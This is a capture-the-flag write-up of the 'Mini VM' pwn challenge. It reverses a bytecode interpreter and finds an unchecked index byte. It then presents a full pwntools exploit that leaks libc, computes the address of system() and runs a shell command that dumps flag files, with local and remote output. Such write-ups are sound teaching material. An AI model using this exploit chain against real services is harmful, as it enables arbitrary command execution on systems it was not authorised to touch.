Mini VM

We built our own little virtual machine. Feed it a program, it runs it once, and that’s it. No source. No hand-holding. Figure out how it speaks, then make it say what you want.

Connections

  • 34.87.191.188:9005

Attachments

Recon

The handout is a stripped x86-64 ELF called mini_vm, plus the glibc 2.39 libc.so.6 and ld-linux-x86-64.so.2 it was built against, and a netcat address. No source, so the plan is to run it, poke it, and only then open the disassembler.

file shows the ELF interpreter is the relative path ./ld-linux-x86-64.so.2, so the binary only runs from its own directory with that loader next to it. First contact, sending nothing at all:

$ echo -n "" | ./ld-linux-x86-64.so.2 ./mini_vm
=====================================
         Mini VM  --  send bytecode
=====================================
no program received.

One read, one execution, done. Next we sent a junk byte to see how it reacts to garbage (banner omitted below, the VM prints it before every response):

$ printf "\377" | ./ld-linux-x86-64.so.2 ./mini_vm
unknown opcode 0xff, halting.
program finished.

The VM reports the offending opcode and halts cleanly instead of crashing, which points at a dispatch loop with real error handling. The binary’s strings (pc out of bounds, halting., stack overflow, stack underflow, no program received.) told us the same thing: the interpreter checks its own bookkeeping everywhere. The question became which check was missing.

We disassembled the dispatch loop with radare2 (main at 0x401839, the VM loop at 0x40149e, jump table at 0x402084, 13 cases). The init function explains the oddest import, dlsym, which resolves a symbol by name among everything already loaded:

*(void**)0x404100 = dlsym(NULL, "puts");
*(void**)0x404108 = dlsym(NULL, "printf");
*(void**)0x404110 = dlsym(NULL, "exit");

So the VM keeps raw libc pointers in its own data. The full ISA, with every immediate read straight out of the bytecode buffer at 0x404324:

Byte Instruction Semantics
0x00 NOP continue
0x01 PUSH imm64 push the following 8-byte immediate
0x02 POP drop the top
0x03 ADD push(pop + pop)
0x04 SUB push(second - top)
0x05 PRINT printf("%ld\n", pop)
0x06 STORE imm8 arr[b] = pop, index unchecked
0x07 LOAD imm8 push arr[b], index unchecked
0x08 CALL imm8 call *(0x404100 + 8b), rdi = pop, index unchecked
0x09 JMP imm16 pc += (int16)imm
0x0a JZ imm16 jump if popped value is zero
0x0b DUP duplicate the top
0x0c HALT return from the loop

The helpers all index one global array at 0x404080: slots 0 to 15 are unused, 16 to 18 are those dlsym’d libc pointers, 20 to 83 are the operand stack (with sp at 0x404320), and right after it at 0x404324 sits the 0x1000-byte bytecode buffer itself, followed by proglen and pc.

We confirmed the decompiled ISA against the real interpreter before trusting it. A program is PUSH 42; PRINT; HALT, or the bytes 01 2a 00 00 00 00 00 00 00 05 0c:

$ printf "\001\052\000\000\000\000\000\000\000\005\014" | ./ld-linux-x86-64.so.2 ./mini_vm
42
program finished.
$ printf "\005" | ./ld-linux-x86-64.so.2 ./mini_vm
stack underflow
$ printf "\011\000\005" | ./ld-linux-x86-64.so.2 ./mini_vm
pc out of bounds, halting.
program finished.

The underflow probe exited with status 1, the others with 0, matching the decompiled exit(1) paths. The leak probe 07 11 05 0c is LOAD 17; PRINT; HALT, and slot 17 is the dlsym’d printf:

$ printf "\007\021\005\014" | ./ld-linux-x86-64.so.2 ./mini_vm
281472882049280
program finished.

That decimal is 0xffff83260100, and its low bits 0x60100 are exactly the offset of printf inside the shipped libc.so.6. Slot 17 really holds the runtime printf, and our offset table is right. checksec closes the recon picture:

RELRO:    Partial RELRO
Stack:    Canary found
NX:       enabled
PIE:      No PIE (0x3fe000)
RUNPATH:  $ORIGIN

PIE randomizes the load base at startup, so with No PIE the bytecode buffer and every VM global keep fixed addresses. Byte offsets inside our program are usable as pointers.

Exploitation

The one unchecked index

pc is validated every iteration and the operand stack is bounds-checked, so there is no cheap control-flow bug in the loop itself. The hole is the index byte. STORE b and LOAD b access 0x404080 + 8b, and CALL b reads its function pointer from 0x404100 + 8b, all with a raw unchecked byte b in 0 to 255. That range reaches past the VM stack into the bytecode buffer at 0x404324, which is memory we fully control. So STORE can park a chosen qword inside our own program, and CALL can call it with rdi (the first-argument register in the x86-64 calling convention) set to a value we push.

Building the payload

The leak gives us libc, the shipped libc gives us offsets: printf = 0x60100 and system = 0x58750, so system = arr[17] - 0x79b0. The in-VM ADD does 64-bit arithmetic, so we push the delta as 0xffffffffffff8650 and let the wraparound handle the subtraction.

We pick a slot at 0x404428, which is bytecode offset 0x104: 8-aligned, and past the HALT, so the VM never tries to execute it as an opcode. The two opcodes view the same qword from different bases, so their index bytes differ: STORE needs (0x404428 - 0x404080) / 8 = 117 and CALL needs (0x404428 - 0x404100) / 8 = 101. The command string goes at bytecode offset 0x110, address 0x404434, also past the HALT.

#!/usr/bin/env python3
import sys
from pwn import *

PROG_BASE  = 0x404324
SLOT_ADDR  = 0x404428                    # 8-aligned, inside program buffer
B_STORE    = (SLOT_ADDR - 0x404080) // 8 # 117, STORE index that writes SLOT
B_CALL     = (SLOT_ADDR - 0x404100) // 8 # 101, CALL index that reads SLOT

PRINTF_OFF = 0x60100
SYSTEM_OFF = 0x58750
DELTA = (SYSTEM_OFF - PRINTF_OFF) & 0xFFFFFFFFFFFFFFFF

CMD = b"cat flag* /flag* 2>/dev/null; ls -la . / 2>/dev/null; cat /home/*/flag* 2>/dev/null\x00"

def push(v):
    return b'\x01' + p64(v & 0xFFFFFFFFFFFFFFFF)

code  = b'\x07\x11'                  # LOAD 17   -> push libc printf address
code += push(DELTA)                  # PUSH system - printf
code += b'\x03'                      # ADD       -> &system
code += b'\x06' + bytes([B_STORE])   # STORE 117 -> *0x404428 = &system
code += push(PROG_BASE + 0x110)      # PUSH &cmd string
code += b'\x08' + bytes([B_CALL])    # CALL 101  -> system(cmd)
code += b'\x0c'                      # HALT

prog = bytearray(0x400)
prog[0:len(code)] = code
prog[SLOT_ADDR - PROG_BASE:SLOT_ADDR - PROG_BASE + 8] = b'AAAAAAAA'  # placeholder
prog[0x110:0x110 + len(CMD)] = CMD

if len(sys.argv) > 2:
    io = remote(sys.argv[1], int(sys.argv[2]))
else:
    io = process(['./ld-linux-x86-64.so.2', './mini_vm'])
io.recvuntil(b'send bytecode')
io.send(bytes(prog))
io.interactive()

The shell command is one bundled reconnaissance line, a listing of the working directory and the root plus cat attempts on the obvious flag spots. The service runs exactly one program per connection, as the empty-input run already showed, so each separate guess costs a fresh 1024-byte bytecode upload; one shot that covers the likely locations keeps the search to a single connection.

One note on execution order: system() blocks until the shell it spawns exits, so nothing after the CALL runs until the command finishes. The HALT right after is all we need, and on the remote the shell child inherits the socket for stdin and stdout, which is how the command output comes back to us.

Testing locally

We dropped a dummy flag.txt next to the binary and piped the 1024-byte payload straight in:

$ cat payload.bin | ./ld-linux-x86-64.so.2 ./mini_vm
=====================================
         Mini VM  --  send bytecode
=====================================
NVR{local_test_flag}
.:
total 2356
drwxr-xr-x 1 root root     288 Nov 27 23:16 .
...
/:
...
program finished.

The whole chain worked end to end locally, so we pointed the same payload at the service.

Flag capture

$ python3 exploit.py 34.87.191.188 9005
=====================================
         Mini VM  --  send bytecode
=====================================
NVR{1_byte_t0_rul3_th3m_4ll}
...
-r--r--r--   1 root root    29 Nov 25 12:09 flag.txt
...
program finished.

The remote working directory held no flag, but /flag.txt (29 bytes) did, and cat /flag* brought it back on the first attempt. The flag text also names the bug we used, the single unchecked index byte.